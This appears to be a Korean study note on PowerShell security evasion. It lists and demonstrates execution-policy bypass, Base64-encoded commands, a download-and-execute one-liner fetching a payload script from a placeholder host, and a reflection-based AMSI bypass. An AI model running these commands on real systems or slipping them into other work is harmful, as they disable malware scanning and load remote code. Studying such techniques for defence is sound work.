1. 보안 우회란?
- 보안 우회(Security Evasion): 안티바이러스(AV), EDR(Endpoint Detection & Response), 방화벽, 실행 정책 등 보안 솔루션의 탐지·차단 기능을 피하는 기술
- 목적: 악성 코드 실행, 권한 상승, 지속성 유지 등을 탐지되지 않고 수행
- PowerShell은 Windows 기본 내장 도구라서 화이트리스트 우회(Trusted Application Abuse)에 자주 활용됨
2. PowerShell 보안 우회 주요 기법
| 법 | 설명 | 예시 | 
| 실행 정책 우회 | ExecutionPolicy 제한을 무시하고 스크립트 실행 | powershell.exe -ExecutionPolicy Bypass | 
| 명령 인코딩 | Base64로 명령을 인코딩해 실행 | powershell.exe -EncodedCommand <Base64> | 
| 다운로드 후 실행(LOLBAS) | 원격 스크립트를 다운로드해 메모리에서 실행 | IEX (New-Object Net.WebClient).DownloadString('http://...') | 
| AMSI 우회 | AMSI(Antimalware Scan Interface) 메모리 패치 | [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) | 
| 스크립트 난독화 | 변수명 변경, 문자열 분리·합치기 등 시그니처 우회 | "Wr" + "ite-Output 'Hello'" | 
3. PowerShell 보안 우회 예시
3-1. 실행 정책 우회
# 정책 변경 없이 스크립트 실행
powershell.exe -ExecutionPolicy Bypass -File script.ps1
3-2. 인코딩된 명령 실행
# "Write-Output '유준상 테스트'" 를 Base64로 인코딩 후 실행
powershell.exe -EncodedCommand VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIABbACcAVQBqAHUAbgBzAGEAbmcAIAB0AGUA...
3-3. 다운로드 후 실행
IEX (New-Object Net.WebClient).DownloadString('<http://example.com/payload.ps1>')
3-4. AMSI 우회
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)